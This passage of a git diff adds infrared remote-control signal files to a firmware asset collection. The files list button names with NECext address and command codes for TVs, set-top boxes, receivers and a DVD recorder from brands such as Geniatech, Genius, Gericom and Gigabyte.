+protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: TREB+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: 12 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: SW+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: CEN+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: TUNER+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: CHURCH +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: ROCK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: TUNER- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: R +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: VOL_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: STANDBY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: TREB_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 40 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 41 00 00 00 +# +name: SL- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 44 00 00 00 +# +name: SR- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 45 00 00 00 +# +name: VOL_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 46 00 00 00 +# +name: L +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 47 00 00 00 +# +name: SL+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 48 00 00 00 +# +name: SR+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 49 00 00 00 +# +name: 11 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4A 00 00 00 +# +name: 10 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4B 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4C 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4D 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4E 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4F 00 00 00 +# +name: HALL +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 50 00 00 00 +# +name: POP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 51 00 00 00 +# +name: DSP_OFF +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 52 00 00 00 +# +name: JAZZ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 53 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 54 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 55 00 00 00 +# +name: AM/FM +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 56 00 00 00 +# +name: MEM +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 57 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Geniatech/Unknown_Supera/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Geniatech/Unknown_Supera/0,-1.ir new file mode 100644 index 000000000..e920c5994 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Geniatech/Unknown_Supera/0,-1.ir @@ -0,0 +1,206 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: H+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: H- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: B+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: B- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: S+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: S- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: DAYLIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: C+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: C- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: AUDIO_ONLY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 26 00 00 00 +# +name: CRT/LCD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 27 00 00 00 +# +name: Exchange +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2B 00 00 00 +# +name: RES +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2D 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2E 00 00 00 +# +name: AV/TV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Genius/Unknown_Genius-DVB-T32/5,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Genius/Unknown_Genius-DVB-T32/5,-1.ir new file mode 100644 index 000000000..952de467b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Genius/Unknown_Genius-DVB-T32/5,-1.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 18 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 19 00 00 00 +# +name: KEY_RF +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1B 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1C 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1D 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1E 00 00 00 +# +name: KEY_FAV +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1F 00 00 00 +# +name: X_KEY_SCAN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 20 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 21 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 22 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 23 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 24 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 25 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 26 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 27 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 28 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 29 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2A 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2B 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2C 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2D 00 00 00 +# +name: X_KEY_TV_RADIO +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2E 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2F 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 31 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 32 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 33 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 34 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 35 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 36 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 37 00 00 00 +# +name: X_KEY_TV_AV +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 38 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3B 00 00 00 +# +name: X_KEY_RCL +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Genus/Unknown_DU1/128,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Genus/Unknown_DU1/128,-1.ir new file mode 100644 index 000000000..8237f5e90 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Genus/Unknown_DU1/128,-1.ir @@ -0,0 +1,152 @@ +Filetype: IR signals file +Version: 1 +# +name: auto_scan +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 01 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 02 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 03 00 00 00 +# +name: volume +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 05 00 00 00 +# +name: alarm +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 09 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 0A 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 0C 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 0E 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 0F 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 13 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 14 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 15 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 16 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 17 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 1A 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 1C 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 1E 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 1F 00 00 00 +# +name: station- +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 41 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 4C 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 4D 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 4E 00 00 00 +# +name: station+ +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 4F 00 00 00 +# +name: shift +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 50 00 00 00 +# +name: station +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 53 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Gericom/Plasma/3,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Gericom/Plasma/3,-1.ir new file mode 100644 index 000000000..68a8b0e96 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Gericom/Plasma/3,-1.ir @@ -0,0 +1,356 @@ +Filetype: IR signals file +Version: 1 +# +name: 7 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 00 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 03 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 04 00 00 00 +# +name: INFO. +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 06 00 00 00 +# +name: PSM +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 07 00 00 00 +# +name: PIP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 08 00 00 00 +# +name: PG_DOWN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 09 00 00 00 +# +name: STILL +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0A 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0B 00 00 00 +# +name: FAV +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0C 00 00 00 +# +name: TV/RADIO +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0D 00 00 00 +# +name: YELLOW +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0E 00 00 00 +# +name: GREEN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0F 00 00 00 +# +name: PG_UP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 10 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 11 00 00 00 +# +name: REVEAL +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 12 00 00 00 +# +name: SOURCE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 13 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 14 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 15 00 00 00 +# +name: CANCEL +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 16 00 00 00 +# +name: INDEX +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 17 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 18 00 00 00 +# +name: DTV_SETUP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 19 00 00 00 +# +name: PRE-CH +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1A 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1B 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1C 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1D 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1E 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1F 00 00 00 +# +name: PIP_PR- +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 40 00 00 00 +# +name: PIP_PR+ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 41 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 43 00 00 00 +# +name: TIME +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 44 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 45 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 46 00 00 00 +# +name: PR_+ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 47 00 00 00 +# +name: P.POSITION +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 48 00 00 00 +# +name: SIZE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 49 00 00 00 +# +name: SSM +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 4A 00 00 00 +# +name: PR_- +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 4B 00 00 00 +# +name: -/-- +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 4C 00 00 00 +# +name: P.SIZE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 4D 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 4F 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 50 00 00 00 +# +name: BLUE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 51 00 00 00 +# +name: TTX_ON +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 52 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 53 00 00 00 +# +name: SWAP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 54 00 00 00 +# +name: RED +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 55 00 00 00 +# +name: DUAL_I-II +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 56 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 57 00 00 00 +# +name: PC +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 58 00 00 00 +# +name: MIX +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 59 00 00 00 +# +name: ARC +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 5A 00 00 00 +# +name: HOLD +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 5B 00 00 00 +# +name: S.SELECT +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 5C 00 00 00 +# +name: STORE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 5D 00 00 00 +# +name: P.INPUT +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 5E 00 00 00 +# +name: FLOP/LIST +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Get/Unknown_gethdpvr/72,36.ir b/assets/resources/infrared/_CSV-IRDB_/Get/Unknown_gethdpvr/72,36.ir new file mode 100644 index 000000000..f0499aa05 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Get/Unknown_gethdpvr/72,36.ir @@ -0,0 +1,272 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 48 24 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 48 24 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 48 24 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 48 24 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 48 24 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 48 24 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 48 24 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 48 24 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 48 24 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 48 24 00 00 +command: 09 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 48 24 00 00 +command: 0A 00 00 00 +# +name: archive +type: parsed +protocol: NECext +address: 48 24 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 48 24 00 00 +command: 0C 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 48 24 00 00 +command: 0D 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 48 24 00 00 +command: 0E 00 00 00 +# +name: KEY_HELP +type: parsed +protocol: NECext +address: 48 24 00 00 +command: 11 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 48 24 00 00 +command: 12 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 48 24 00 00 +command: 13 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 48 24 00 00 +command: 14 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 48 24 00 00 +command: 17 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 48 24 00 00 +command: 18 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 48 24 00 00 +command: 19 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 48 24 00 00 +command: 1A 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 48 24 00 00 +command: 1B 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 48 24 00 00 +command: 1C 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 48 24 00 00 +command: 1D 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 48 24 00 00 +command: 1F 00 00 00 +# +name: hd +type: parsed +protocol: NECext +address: 48 24 00 00 +command: 20 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 48 24 00 00 +command: 21 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 48 24 00 00 +command: 22 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 48 24 00 00 +command: 23 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 48 24 00 00 +command: 24 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 48 24 00 00 +command: 25 00 00 00 +# +name: KEY_RADIO +type: parsed +protocol: NECext +address: 48 24 00 00 +command: 26 00 00 00 +# +name: get +type: parsed +protocol: NECext +address: 48 24 00 00 +command: 27 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 48 24 00 00 +command: 28 00 00 00 +# +name: film +type: parsed +protocol: NECext +address: 48 24 00 00 +command: 29 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 48 24 00 00 +command: 2A 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 48 24 00 00 +command: 2B 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 48 24 00 00 +command: 2C 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 48 24 00 00 +command: 2D 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 48 24 00 00 +command: 2E 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 48 24 00 00 +command: 2F 00 00 00 +# +name: KEY_NUMERIC_STAR +type: parsed +protocol: NECext +address: 48 24 00 00 +command: 65 00 00 00 +# +name: pound +type: parsed +protocol: NECext +address: 48 24 00 00 +command: 66 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Gigabyte/Unknown_TV/134,107.ir b/assets/resources/infrared/_CSV-IRDB_/Gigabyte/Unknown_TV/134,107.ir new file mode 100644 index 000000000..ba2a83ed3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Gigabyte/Unknown_TV/134,107.ir @@ -0,0 +1,170 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 01 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 02 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 04 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 05 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 06 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 07 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0A 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0C 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0D 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0E 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 12 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 17 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 18 00 00 00 +# +name: lastCH +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 19 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1A 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1B 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1C 00 00 00 +# +name: KEY_RADIO +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1D 00 00 00 +# +name: snapshot +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1E 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1F 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 54 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 55 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 56 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 57 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 58 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 59 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 5A 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 5B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Go Video/DVD Recorder/10,247.ir b/assets/resources/infrared/_CSV-IRDB_/Go Video/DVD Recorder/10,247.ir new file mode 100644 index 000000000..75f1cc45b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Go Video/DVD Recorder/10,247.ir @@ -0,0 +1,218 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: 0A F7 00 00 +command: 00 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 0A F7 00 00 +command: 00 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 0A F7 00 00 +command: 01 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 0A F7 00 00 +command: 02 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 0A F7 00 00 +command: 03 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 0A F7 00 00 +command: 05 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 0A F7 00 00 +command: 06 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 0A F7 00 00 +command: 07 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 0A F7 00 00 +command: 09 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 0A F7 00 00 +command: 0A 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 0A F7 00 00 +command: 0B 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 0A F7 00 00 +command: 0D 00 00 00 +# +name: 